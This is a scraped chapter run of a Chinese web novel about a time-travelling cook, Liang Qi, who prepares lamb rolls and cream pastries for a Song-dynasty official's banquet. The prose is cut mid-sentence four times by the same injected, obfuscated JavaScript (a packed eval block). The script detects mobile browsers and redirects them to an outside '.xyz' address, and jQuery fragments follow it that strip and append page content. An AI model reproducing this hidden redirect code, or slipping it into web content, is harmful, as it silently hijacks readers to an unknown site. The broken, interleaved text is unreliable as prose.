梁小娘子重重地叹口气，还得加油赚钱啊！ 把钱箱锁好，放在床底下隐秘的角落里，智能厨房的主动包子机正好也发出工作完成的提示声。 梁琪没有急着把包子运出来，只用湿润的笼布盖好，免得面皮暴露在空气中，干燥爆皮就不美观了。 傍晚时，孟记食铺的伙计来了，带来几十口筐和几十条笼布。 梁琪洗干净手，把灌浆汤包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836670|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心谨慎地摆在筐中，又出门叫了辆车把式，和车夫、伙计合力把几十口筐抬上太平车。 这太平车是东京运货专用的车，和后世的平板推车似的，独轮，要一前一后两个车夫才能驾驭，货物在车板上面倒也稳当。 梁琪和伙计跟着车一路走到孟记食铺，伙计们在孟二娘的指挥下，小心翼翼地把灌浆运进冰窖。 看着灌浆汤包安然就位，梁琪才算松了一口气。 灌浆那玩意儿，可是比气球还娇嫩，一个伺候不好就破皮了，好在不管是伙计还是车夫，手上都极有分寸，丝毫没损坏她的宝贝。 同时，梁琪也拿到了一份新契书，和一笔“独家费”。 这笔独家费和足足有五贯，是钱箱中现有钱财的两倍还多，幸而钱箱买得足够大！ 嗨呀，刚串好的铜钱，回去又得再串。 梁琪又交代孟二娘一些灌浆的保存方法，得到孟二娘信誓旦旦的保证后，才算放心。 也到了下值的时间，梁琪干脆等着梁莹一起回家。 姐妹俩抬着钱匣子，沿着蔡河往家走，两岸的河市依旧热闹，叫卖声熙熙攘攘，没有智能产品的时代，烟火气就是这么浓厚。 “阿姐——等等我。” 梁琪忽然听到一道熟悉的声音，回头一看，竟是梁元，那家伙不愧是练武的，体格子好，跑的那叫一个飞快。 姐妹俩笑了下，站在原地等着，梁琪喊道：“你慢点跑。” 梁元跑到跟前儿，顺手接过钱匣子，姐妹俩合力抬着都觉得重的实木匣子，梁元竟不费力地夹在腋下。 “下值了？” “是啊，老远我就瞧见你们俩，还好我跑得快。” “在开封府这几日，感觉如何？” 梁元脸上尽是兴奋，眉飞色舞地说：“今儿衙内比武，我赢了好几个衙差，还差点打赢衙头儿，衙头儿赏识我，已经指派我去当皂隶了。” “皂隶？”梁琪还真不知道这是何职位。 “就是在衙门内职守的。”梁元颇为得意地说，“一般来说，新人要跟着衙头儿苦练一个月，才给正经职务，我这才三五天，就是皂隶了，还有专门的教头教习武功。” 梁琪笑着夸赞：“阿弟还是很厉害的。” 河道上，夕阳把姐弟三人的影子拉老长。 回到家，姐弟妹三人一起做晚饭。 梁元劈柴、挑水、烧火，梁莹切菜，至于梁琪，当然是掌勺了，被梁元戏称为梁家的铛头儿。 梁莹却说：“阿姐迟早是大酒楼的铛头儿。” 要不说女孩子最甜呢，臭小子就是没人家说话中听。 在家的最后一晚，三人围坐在一起吃了饭，梁琪嘘嘘絮絮弟妹一些事，都是些细碎的琐事。 第二天天不亮，梁琪就背着小包袱出发了，去跟四司六局汇合。 - 这回办宴席的是城北于寺卿家，据说家主于老相公是个对吃食极为挑剔的主儿。 于寺卿早年做过使节，后来升任礼宾院监官，于去年又右迁至鸿胪寺少卿，可谓是步步高升。 不管是做使节，还是礼宾院，亦或是如今的鸿胪寺，都是时常与诸多国家的使臣打交道，或是出使、或是接待，一根舌头尝遍天南海北的美味。 难怪这于老相公是个极为挑嘴的。 四司六局这回可得精细着，半点马虎不得。 12. 于府宴席 梁琪一早来到于府，在后院厨房中见到了许久不见的采荷。 两个姑娘开心地寒暄片刻，便说起正事。 采荷来得早，已经听到了一些风声：“一个好消息，一个坏消息，先听哪个。” 梁琪挑了好消息。 “听帐设司的人说，于老相公是个极爱赏人的主儿，方才因着筵席布置得漂亮，于老相公都已经赏给帐设司好几百钱了。”采荷艳羡地说，“于相公又极看重菜品，所以现在大家都说，厨司的好处且在后头呢。” 意思就是她们两个备菜丫头，极易在于府赚到外快。 “的确是好事。”梁琪又问，“那坏消息呢？” 采荷耸耸肩：“没有新的备菜丫头来，备菜的活儿只有咱两人来干。” 这年头，汴京城找好厨子不容易，想找备菜丫头还不是轻轻松松？ 定是那王司长不把这等微末小事放在心上，李府的差事一结束，工钱一到手，就万事大吉了。 中间间隔这几日，竟是半点儿动作都无。 原本决定把事情闹大，让四司六局惩处不干活的翠竹，为的就是给自己讨个公道。 现在公道倒是讨回来了，活儿还是两个人干。 甚至还不如在李府时，起码翠竹还能干个剥豆子的活计，如今却是大大小小的事都要她们两人亲自来了。 “这怎么行？”梁琪不接受，“厨司原定的就有备菜丫头三人，怎么能让两人做三个人的活计？咱们得去找司长问个明白。” 采荷也是这么想的，不管结果如何，新的备菜丫头什么时候到位至少得有个说法。 两人打定主意，一起去寻王司长，一路找一路问，终于在前圆的一处凉亭内见到了王司长。 王司长正在和台盘司的司长喝茶，中层领导嘛，自然没有底层的白席人忙碌，旁人忙得脚不点地时，领导们还能悠闲哉哉地边赏美景边喝茶。 美其名曰：讨论方案。 梁琪说明来意。 王司长当着同僚的面儿，却不肯承认自己的过失，只说：“杂役难寻，我在马当街寻了三日，竟是没寻到合适的丫头。” 这话一听就是托词，有些话梁琪和采荷不方便说，台盘司那司长可不客气。 同为司长，台盘司司长从身份上讲并不惧怕王司长，半开玩笑说：“王司长这省钱的法子巧妙，赶明儿我可得跟着学一学。” 四司六局的每个司局，由司长和局长掌管一局一司之事，包括白席人的工钱。 好比厨司，王司长手里原本有三个备菜丫头的工钱，如今只需用支两个丫头的工钱，余下的工钱，岂不是落了自己的腰包？ 还有管事一职，也未补替新人上来，工钱大抵也落入王司长的钱袋子里。 梁琪不管管事的事，她原本就觉得管事一职极为多余，既不负责活计，又在旁边碍事，去了正好。 只要备菜丫头给她补齐即可。 王司长被同僚戳穿，勉强稳住神色：“这是哪的话？她们两个若真做三个人的活儿，工钱自然是要涨的。” 多干活，涨工资，也不是不行。 梁琪问：“敢问司长，涨多少工钱啊？” 按司局的规矩，于府的这回的宴席备菜丫头的工钱是三百钱，比先前在李府时的工钱高出一筹，盖因菜式繁多的缘故。 王司长琢磨片刻：“各涨八十钱。” 似乎预料到两个白备菜丫头会不满，又率先说道：“一个备菜丫头能拿到三百五十钱的工钱，满东京再找不出比这更高的了。” 诚然，旁的司局确实没有她们司局的工钱高，三百五十文不算低了。 可她们干的活并不轻松，把头儿的要求严，每个人都要慢工出细活，工钱高是情理之中的。 何况三个人的工钱一共是九百钱，两个人既然干了三个人的活，每个人分得的工钱该是四百五十钱，怎的就被三百八十钱打发了？ 采荷便不服：“司长，这不对吧，我们……” 王司长却不耐烦地打断她的话：“你若不想做，有的是人来做。” 采荷：“……” 刚刚还说备菜丫头不好寻，现在又说有的是人想来，不就是想昧下几百钱吗？ 这套路梁琪太熟悉了，后世的加班规则不就是这么搞出来的吗？明明是三个人的工作量，非要压缩给两个人加班完成，从省下那份工资中抠出一点来当加班费，还显得公司大方。 若是不接受加班，好呀，那就让地儿，有的是愿意加班的人。 王司长这话让资本家听了不会流泪，而是会心一笑，因为这手段他们太熟悉了。 话都说到这份上了，梁琪和采荷没说出口的不满只能咽下去。 涨了八十文总比没有的强。 何况她有智能厨房，按工作量算，也不亏。 回到厨房，采荷还心心念念那一百多钱，可有没法子，谁让人家是司长，自己只是个小小备菜丫头呢。 梁琪边洗手系围裙，边安慰说：“左右咱们是来赚钱的，赚不到四司六局的钱，就赚于府的钱，你不是说那于老相公最好赏人吗？” 采荷这才反应过来：“正是呢，咱们可得好好备菜。” 说话间，排办司的人捧着菜单来了。 这菜单是张铛头儿拟定好，一早呈给于主家过目的，主家要是觉得没问题，就照这个做，若是有忌口或是不满意的地方，也会酌情修改，最终双方把菜单敲定下来。 东京贵府对吃食都颇为讲究，有时候一张菜单，能在司局和主家手中辗转修改十来遍，才能拿到主家满意的程度。 这位于相公也是个讲究人，这张菜单都已经修改七次了，于相公更是着意添了好几道菜。 梁琪把菜单拿浆糊张贴在门上，一道道细细看过去。 菜单上有厨司常做的菜式，即张铛头儿和另外两位厨子的拿手菜，也有一些东京不常见的菜式，比如羊卷暖羹、炙烤肥羊、马奶茶羹和麻叶酥酪。 在她看来，这些菜倒像是后世新疆蒙古地区的吃法，也就是辽国和西夏那边的饮食。 于相公不愧是使节出身，美食涉猎就是广泛。 汴京城包容性强，各地的人都有，故而一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841920|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大酒楼中也会做番邦菜式，只是不知道张铛头儿会不会做，亦或是做得正不正宗。 于相公亲口尝过，可不是那么好糊弄的人。 采荷看完菜单，倒吸一口凉气：“果然于府的赏赐不是那么好拿的，这些菜可不好备。” 诚然，羊肉卷要削、肥羊块要腌、连那酥酪都不是省事的。 “是呀。”要不是梁琪有外挂，这些菜还真得费一番功夫，“荷娘，你先备其他的，这几道‘硬骨头’交给我试试。” 采荷心中感动，她的琪娘每次都揽下困难的活儿。 炙烤肥羊，梁琪首先盯上这道菜了。 羊前腿肉相较于后腿肉肥肉更多，是做炙烤羊肉的上佳部位，菜蔬局刚送来的羊前腿，竟还热乎着，肉里的神经微微跳动，可见有多新鲜。 她操着利刀开始解羊，先把羊腿骨剔出来，羊骨洁白，羊肉鲜红，大块腿肉掉落在案板上。 又将劲道皮实的羊皮剥离，整块肉切成肉块，肉块又成肉丁，便可以撒上调料腌制了。 这道炙烤肥羊，梁琪不知于相公先前吃到的是什么样，若是让她来做，定是要串成羊肉串的。 炭火烤制出羊油，肉块表面不仅焦脆，还泛着褐色的油光，撒上满满的胡椒粉和辣椒面，将肉块大口撸进口中，岂不美哉？ 就算宋朝尚没有辣椒面，也可用生姜粉和芥菜粉代替，也能吃出辣味冲天的爽感。 梁琪正要对付那肉卷，张铛头儿来了。 “张铛头儿今日来这么早。” 张铛头儿面上挂着愁容：“不早不行啊，你们瞧那菜单没？于相公加那几道菜都是我所不擅长，早些来琢磨琢磨罢。” 梁琪便先把这道炙烤羊肉的做法当建议提出来。 串羊肉串？ 张铛头儿眼睛一良：“好啊！这吃法新奇。” 主要是有了这新奇的吃法，让主家满意一分，其他菜他做起来压力也小些。 他又指着菜单上的“羊卷暖羹”，说：“这道羹我曾在樊楼品尝过，因而也会做，这羹难就难在那羊肉卷要削得薄如蝉翼，在热羹中三秒即熟。” 梁琪说：“您刀工可不差。” 张铛头儿苦笑了下：“不差，却也称不上极好，在这东京城连前十都排不上。” 他举目眺望，颇为向往地说：“据我所知，樊楼做羊羹的大厨，能在水中用豆腐雕花，刀工可是一绝。” 梁琪的刀工也称不上极佳，她思忖着自己的水平，约莫和张铛头儿不相上下。 当年她随国宴大师学艺，追求的是能做出更美味的饭食，而非在刀工上苦下功夫，因此刀工只练了八/九成。 但她有电动切削机啊。 人手固然可与机器媲美，成为为人所称道的大国工匠，但要再叠加“效率”一词，机器才是更好的选择。 梁琪钦佩那些苦练绝技的人，大约她更务实吧，并没有刻意追求能用机器代替的技艺。 这羊卷只消在机器中削切，顷刻间就能变成薄后均匀，且薄如蝉翼的肉卷。 她轻声说：“我来试试吧。” 13. 羊肉卷 要说炙烤要选羊前腿，那涮羊肉最好的部位，莫过于羊后退。 后退是羊跑跳发力的地方，肌肉多、肥肉少，切出来的肉卷红肉多、白肉少，在羹中涮后才能香而不腻。 梁琪先把后退在冰箱中冷冻片刻，等肉质稍微变硬才能上切削机。 而后取出电动切削机摆在台面上，插上电源。 所谓电动切削机，便是一架能将肉块削成肉卷的机器，有设置肉卷薄厚的刻度，假使设置成0.5毫米，刀刃距离工作台的距离就是0.5毫米，削出来的肉卷也是0.5毫米厚，十分精确。 梁琪在触摸屏上设置好距离，刀刃自动移到对应的位置上，等冻硬的羊腿往工作台一固定，摁下电源键，刀刃便唰唰地工作起来。 肉卷像锯木屑一下哗哗落在盆中，成了美观的肉卷形状。 她寻思着，得把肉卷放进冰窖里冰镇。 春末的气温已经上来了，若是肉卷融化，就会成为软塌塌的一堆，毫无卖相可言，只有一直在冰中镇着，才能保持支棱。 等肉卷全部削完，梁琪便把它们从空间悄默声地带出来，放进厨房的案板上。 喊了正在研究别的菜式的张铛头儿：“铛头儿，来瞧瞧可过关？” 张铛头儿听见叫声便走了过去，他原本对这道羹不报太高希望的，毕竟樊楼的水平在那摆着，即便肉卷削不好，只把羹做得有滋有味就好。 可当他走进一看，眼都瞪圆了：“这、这这这是你削的啊？” 算是吧，梁琪点点头。 张铛头儿拿筷箸挑起一片肉卷，薄薄的肉卷白里透红，对着门窗便能瞧见外面的日光，不由赞叹道：“太有天赋了，这肉卷比樊楼削得好，樊楼那肉卷削的可没这么均匀！” 采荷听到夸赞，连忙放下手里的胡姜，跑过来围观，震惊地说：“琪娘，你的手艺什么时候练得这么好了？！” 梁琪被夸的耳根子有点红，这也太难为情了，根本不是她的手艺好吗？该挨夸的是那台切削机子。 可她总不能牵着机器出来挨骂，便默默受了。 “这肉卷方才在冰上冻过，才能有如此形状，须得继续放在冰上镇着，才能保持。” 张铛头儿像呵护一件艺术品一样：“赶快，快挪进冰窖，千万别化了。” 梁琪带着羊肉卷一路来到冰窖，选取出一盆冰，上面坐上盛着肉卷的陶盆，又用厚厚的棉被盖好，才算放心。 等再返回厨房时，张铛头儿正用殷切的目光看着她。 梁琪一愣：“铛头儿，您怎么啦？” 张铛头儿搓着手说：“有天赋的小娘子，你再看看这麻叶酥酪是何做法。” 梁琪：“……” 有天赋的小娘子，这什么叫法？ 她其实也不知这麻叶酥酪是何物，既然连张铛头儿和采荷都不知道，可能整个东京都没这种吃食，大约是辽金或者西夏那边的吃法。 既然不知道做法，那就自创做法，只要足够美味，不愁不能让于相公和宾客满意。 “那我再试试？” 张铛头儿点头点得如捣蒜。 酥酪，便是宋朝时的奶油。 古书有云：从牛出乳，从乳出酪，从酪出生酥，从生酥出熟酥，从熟酥出醍醐。 而后世的动物奶油则是经过巴氏灭菌处理的牛奶打发而成，自然比当世的酥酪口感和味道都更好些，此时的酥酪吃起来质地偏硬，味道也没那么香浓，处理不好还会有股腥膻味。 所以梁琪直接舍弃了菜蔬局送来的牛乳，采用智能厨房的冰箱中贮存的纯牛奶来做主原料。 牛奶微微加热，加入细砂糖慢慢融化其中，再把泡软的吉利丁片加进去轻轻搅拌，放入冰箱中冷却凝固。 等再拿出来时，接下来的活儿就能交给打蛋器仁兄了，高速旋转下的螺旋头儿很快将牛乳打发至充盈的泡沫，反复冷藏和打发后，奶油逐渐变得细腻并且有纹路起来。 奶油做好，梁琪并不急着拿出去。 打发奶油本就是费时费力的活儿，若是没有打蛋器，人工至少得打半个时辰。 一直等张铛头儿都开始起锅烧油炒菜了，她才慢吞吞地把奶油拿到厨房的陶罐子中。 “铛头儿，酥酪做好了，来品鉴品鉴。” 张铛头儿应了声，搁下手中的锅铲就赶忙过去。 从外表上来看，瓦罐中的奶油更加细腻蓬松，颜色也更加白皙，酒楼和街市上买的酥酪更接近膏状甚至块状，颜色偏黄，远没有眼前这罐美观。 他抽出一支长柄铜勺，舀了一勺送进口中，淡淡的奶香瞬间在口中化开，只有舌头体会到了短暂的细腻和丝滑。 就是这短暂的美好体验，让他的眼睛瞬间瞪大了。 “太、太美味了。” 采荷也凑上来，梁琪同样给她舀了一勺。 采荷尝过之后整个人都呆住了，好歹她也是厨子行当的，尝过的美味不少，竟从没吃过如此奇妙的美味。 呆愣愣地说：“琪娘，你做吃食什么时候这么好吃了？” 站在时代巨人肩膀上的梁琪笑了下：“好吃就好，原本我还有些担心。” ……好违心，她才不担心，世人接受奶油就像呼吸空气一样简单。 “不担心、不担心。”张铛头儿高兴得语无伦次，“极好。” “这酥酪也得暂放冰窖里，等该上时再拿面皮裹起来。”梁琪说，“我先来做面皮。” 张铛头儿连连点头：“好好好。” 菜名叫麻叶酥酪，梁琪可不认为裹着奶油的表皮真是麻叶，定是一种象形的叫法。 所以她打算做一种极薄的面皮，类似面包外面那层薄薄的面皮，甚至比那还薄，用来包裹奶油，牙齿稍微一刺就能戳破。 这这种面皮并不难做，未经发酵的面皮中加少量盐，擀得极薄，放在烤箱中烤熟。 梁琪刻意烤得稍微老些，让面皮像麻叶一样呈现深褐色，表面带着浓浓的焦香。 如此这般，这道麻叶酥酪就做好了九成， 台盘司已经上了不少菜，张铛头儿一边在灶台前忙得龙飞凤舞，一边紧张得等待前厅传来消息。 他是四司六局的老人儿了，原本不该紧张的，可谁让于相公太见多识广了，害得他做了好些道首次尝试的菜，只能紧张兮兮地等食客的反馈。 为此，还把采荷派到前边打探消息去了。 很快，采荷慌里忙张地跑进来，把张铛头儿唬了一跳。 连忙问：“怎么啦？好消息还是坏消息？” 采荷喘着起：“好、好消息！于相公的宾客对那道炙肥羊的味道赞不绝口。” 张铛头儿“哈”了一声：“原本我还担心文人雅士们会不喜欢如此豪放的吃法，现在放心了。” 采荷自豪地说：“那是，在绝对的美味面前，还分什么豪放派婉约派的吃法吗？” 两人跟说相声似的一唱一和，把梁琪都逗乐了。 张铛头儿大手一挥：“再探！” 采荷应了声“得咧”，再次往前院跑去。 前院，荷香园。 于相公不愧是礼宾院待过，院落就是比别的府上雅致，再经帐设司布置装点，就更为出尘不俗了。 然而这么雅致的园子里，主家和宾客却在豪放地吃着炙羊肉… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14851051|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' … 羊肉串在厨房烤至九成熟，分给每位宾客自行烤熟，每位宾客面前都有只精致的红泥小火炉，上面铺着铁丝网，刷上油，便可滋啦滋啦地烤起来。 为的就是让宾客亲自参与。 这些文人雅士在家大多五谷不分、四体不勤，乍一吃到自己亲手炙出来的肉串，嘿，还真有成就感。 豪放的吃法和雅致的园子，也有种混搭的美感。 于相公看着宾客尽欢，觉得这四司六局的司厨果然不错。 紧接着，暖羹上来了。 这道羊肉暖羹是于相公曾作为使节储气罐辽国时吃过的，味道不可谓不鲜美，只是辽人粗犷，羊肉均切大块，在汤羹中并不十分入味。 回到东京后，他便把这道羊羹的做法告知樊楼的厨子，经厨子改良做法后，便成了东京一道名菜，只是那肉卷太受限于刀工，并不是每家酒楼和食铺都能做。 不知今日厨司内是否有高人？ 倘若没人能将肉卷削得薄如蝉翼，虽是遗憾，却也平常，毕竟刀工一绝的厨子可又不可求。 台盘司一队年轻小娘子捧着暖羹轻轻放上桌，于相公未及看一眼清秀的小娘子们，先被盘中的羊肉卷吸了睛。 那羊肉卷像书卷似的被卷成筒状，颜色白里透红，盛在铺满碎冰的瓷盘中煞是好看。 好看还是其次，关键是厚度，薄薄一片，片片均匀，连樊楼的大厨都难以有这样的手艺。 这四司六局中竟隐藏着功力如此深厚之人，不知是厨子还是备菜丫头？ 于相公激动地夹起一只肉卷，放入沸腾的羊骨高汤中，果然，那肉卷瞬间由鲜红变为灰粉色，三秒捞出，便可入口。 他迫不及待地送入口中，山羊胡随着咀嚼的动作一颤一颤，羊肉鲜嫩的口感和奶香的味道齐齐而发，实乃令人享受至极。 “妙啊！” 于相公眼中露出欣喜，忍不住叹赞一声。 原本这道羊卷暖羹他没抱太大希望，只求做得不比樊楼逊色太多就好，谁知尝过才知，这哪是比樊楼逊色啊，分明更胜一筹。 他激动地跟宾客分享美味：“你们快尝尝这羊羹，顷刻即熟，味道那叫一个鲜美。” 有人笑说：“能让于相公口吐夸奖之语，可见这羊羹却是不俗，毕竟方才那炙羊肉都没得相公亲口夸赞。” 是了，方才那炙羊肉虽也美味，于相公心中满意，却尚未到达惊艳的程度，而这道羊羹，他却是有感而发，打心眼里觉得好。 众人尝过之后，纷纷觉得不错。 于相公亲口垂问：“刘子侄觉得如何？” 他今日遍邀文人雅士相聚，包括不少国子监和太学的学子，其中属刘子今刘监生最为难请。 那刘家官人不仅家世不俗，尚未考取功名就已经小有才名，而且性子清孤，轻易不出席宴请。 前些时日受邀到李府，也因李府中挂出诸多名字名画，吊起了刘官人的胃口。 不想今日，他也能有幸请来刘官人。 众人的目光汇聚在端正而坐的年轻郎君身上。 正在细细品鉴羊肉的刘子今抬起头，拱手答：“晚辈觉得于相公家中厨司的厨艺，甚好。” 于相公拍掌大笑。 坐在刘子今下首的是他同窗，国子监监生江临，两人自幼相识，也可称一句“竹马竹马”。 只是这江临的学问比之子今要差上些许，无甚名气，酷爱出席宴席却苦于无人邀请，只能跟着刘子今，才能混上个好席位。 他凑过来，饶有兴趣地小声问：“我说子今，你可是从来不爱热闹的，最近儿怎么回事？频频出席各家宴席。” 14. 淡奶油 若说刘子今出席李府，江临还能理解。 博士交代一定要鉴赏的几幅字画，其中有两幅在李府展出，子今便是冲着那字画去的。 可这于府，又无甚字画，为何要来？ 江临回忆起好友的往昔，可是两耳不闻窗外事、一心只读圣贤书的主儿，别说出席宴席，就是下学到食堂吃饭，都觉得浪费时间。 最近却三天两头的在各家宴席上露面，前有李家，今又有于家，心里哪还挂念着读书的事？ 刘子今修长的手握着白皙的象牙筷箸，夹起一片羊肉放入暖锅中：“主家有上好的膳食款待，为何不来？” 江临：“……” 这是理由吗？ “你以前可不是重口腹之欲的人。” 刘子今已经食用好几片羊肉了，这羊羹温润异常，和前些时日李府那五谷渔粉的口感如出一辙。 “只是从前没遇见和脾胃的吃食罢了。” 江临还是狐疑，囔囔着他不信。 这有什么不信的，一开始于寺卿的请帖递过来时，刘子今确实是婉拒的，但无意中听说于府请了四司六局来操办宴席，正是前些日子给李府操办宴席那家司局。 让他一下子想到前些时日品尝的红豆糕、枣花酥和渔粉。 若还是那家司局的话，去于府赴宴也不是不行，于是便接下那帖子。 突然，江临恍然大悟地“哦”了一声：“你知道于府吃食出众，特意带我来吃的！” 继续感动兮兮道：“子今兄，不愧是竹马之谊，这份情谊我江临记下了。” 刘子今：“……” 恰时，又一道菜上来了，台盘司的人高声报着菜名：“麻叶酥酪！” 酥酪味香甜，是汴京城中小娘子和孩童的最爱，男子自持骄矜，食用者甚少。 江临满以为刘子今绝不会动这道甜食，却不想瓷盘一呈上来，刘子今就拿着筷箸品尝起来。 骇得他嘴巴都张大了，这还是他认识的矜贵郎君吗？ 刘子今却不觉有任何不妥，既然厨司中有厨艺佼佼者，必然每道菜都要品尝的。 眼前这麻叶酥酪呈现深褐色，褶皱清晰可见，像只卷起来的汗巾子。 一尝，果真这酥酪也有惊喜。 首先便是这面皮，薄得像张宣纸，一抿便破，里面的酥酪便喷涌爆浆而出，酥酪的甜味并不重，重点在于香，这点很符合他的口味，其次口感也是绝佳，细腻绵长，带着微凉，竟比宫中御厨做得酥酪还好。 熟悉的感觉让他更加确定，这道麻叶酥酪和枣泥以及渔粉，出自同一人之手，且是位厨娘，而非厨子。 江临没吃过御厨的手艺，只觉得这酥酪好吃极了，他在东京市井中吃的酥酪不少，却没有一处能和这道相媲美。 口中含着食物，呜呜咽咽地说：“真好次！” 这道麻叶酥酪和于相公做使节时吃得不一样，原本他还失望了一瞬，想着中原没人能做草原上的食物也属正常，不想一尝，味道却一点不比曾经吃的差。 宾客们更是赞不绝口，管他一样不一样，只要好吃，只要让宾客满意，不就是最好的结果？ 于相公高兴道：“的确不错，厨司当赏。” - 后院厨房，厨房的活计基本上忙活差不多了。 去刺探“情报”的采荷手舞足蹈地回来：“好消息好消息，于老爷的赏赐马上就来了！” 张铛头儿笑说：“你好好说，怎么就赏赐了？” 采荷把前院发生的事原原本本说一遍，激动地说：“于老爷那舌头可是难伺候得很，竟不住地夸赞那羊卷暖羹和麻叶酥酪两道吃食。” 这两道吃食原本是最难做的，现在反而成了最成功的两道菜。 张铛头儿知道功劳在谁，他调制的羊羹虽然没问题，可若没有梁琪削出来的羊肉卷，这道菜怕是要黯然失色一大半。 还有那麻叶酥酪，从头到尾都是梁琪一人所做，她那备菜丫头，干的完全是厨子的活儿。 真是青出于蓝而胜于蓝啊。 “梁小娘子，你的确很有天赋。”张铛头儿说，“若是有合适的机会，我来跟司长说，提拔你当大厨。” 梁琪笑说：“那就有劳铛头儿了。” 采荷继续说：“说出来你们可能不信，原本于相公要赏赐的不是做这两道菜的人，而是王司长。” 主家吃着厨司的菜做得好，赏赐整个厨司也是有的，赏钱多半先发到司长手中，司长看心情发给低下的人。 厨司的王司长是个爱财之人，这样的赏赐有一半概率是到不了她们手中的，除非像上次一样，梁琪给司长帮了大忙，王司长才愿意把钱分出去。 梁琪问：“那是怎么又改主意了呢？” “托那刘官人的福。”采荷说，“于相公要赏厨司，旁的宾客都没说什么，只有刘官人说群赏不如独赏，才显得相公恩赏分明，于是于相公就改了主意。” 上回在李府，那魁首刘官人别出心裁地挑中枣花酥……的馅儿，现在又搞出“群赏不如独赏”的理论，还真是独特。 梁琪心说，不是说那刘官人一心只读圣贤书，严肃得很，这不挺有趣的。 她饶有兴趣地问：“刘官人原话怎么说的？” 采荷回忆了一下：“刘官人说‘相公既夸赞这两道菜好，不若恩赏到人，水夫当赏、火夫当赏、备菜人当赏、厨人更当赏’。” 梁琪扑哧笑出声：“照他那么说，整个四司六局的人都当赏，那羊肉还是菜蔬局送来的，饭菜可不是台盘司上的？” “你管他那么多呢。”采荷不在意地说，“只要咱们有赏赐，我就高兴。” 梁琪点点头：“的确是托了那位刘官人的福。” 正说着，前院差人来了，询问道：“哪位是做麻叶酥酪的厨人？” 梁琪半举起手：“是我。 那人又问：“哪位又是切羊肉卷的厨人？” 梁琪的手尚未放下：“是我。” 来人语气恭敬：“小娘子，请随我来，我家相公要亲赏你。” 采荷刚才走得急，竟不知道于相公要见梁琪，好在是赏非罚，又不是什么坏事。 梁琪便在于府下人的带领下来到前亭。 宾客尚未散去，蜜煎局和果子局又上了点心和水果，供宾客们当小食吃。 梁琪快步走过去，规规矩矩行了个叉手礼：“于相公大安，各位官人大安。” 坐在上座的于相公不料请来的厨子竟是个年轻小姑娘，“嗬”了一声道：“竟是个如此年轻的小娘子。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882113|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 想梁琪前世也是从商的，这样的大场面并不畏怯，还能玩笑着答：“相公莫要小瞧，妾身虽是年轻小娘子，却已涉足厨子行当多年，若再无好手艺，决计要被同行说蠢笨的。” 于相公笑了起来，又问梁琪那酥酪是何做法，为何会比樊楼大厨做得还要好。 梁琪一一细说。 坐在下首的江临又凑到刘子今旁边：“原来是位俊俏的小娘子，难怪子今兄会主动为佳人请赏。” 方才席间，于相公说要赏厨司，刘子今竟站起来提议时，他差点惊掉下巴。 他这竹马，可不是多事的人。 旁人都评价子今是“高调做事、低调做人”，才华上一鸣惊人，做人却极为低调，今儿也不知道日头从哪升起来的，竟开口为厨子请赏。 这可太吊江大官人的胃口，既然刘子今主动为厨子请赏，他江临就要让那厨子亲自来接赏。 那两道菜的确是上上佳品，他也想见见厨子是何许人也，便也学着刘子今也向于相公提建议…… 刘子今淡淡回说：“难道不是你提议要见？” 江临大大方方承认：“是是是，我这提议又没错，否则怎么能见到如此靓丽的厨娘？” 刘子今目光微垂，觉得那枣泥、渔粉、以及今日的酥酪，却是该出自这么灵动的小娘子之手。 梁琪领了赏，还替张铛头儿、采荷和厨司的其他白席人也领了赏钱，毕竟刘官人亲口所言“水夫当赏、火夫当赏、备菜人当赏、厨人更当赏”嘛。 王司长人都来了，就在厅堂外候着，方才一听说于相公要赏厨司，他就急忙赶来了。 谁知于相公又改了主意，赏钱没他的份。 台盘司的司长此刻也在堂上，正吩咐手底下的人撤换碗盏，闻言倒是长出一口气。 一开始于相公说赏赐厨司，他这心里头就有些不平衡。 同是司长，厨司就多得赏赐，他们台盘司又是上菜又是洗碗，没有功劳也有苦劳，却极少拿到主家的赏赐，只能眼看王司长赚得盆满钵满。 早起和王司长在凉亭喝茶时，还亲眼见王司长克扣备菜丫头的工钱进自己的腰包。 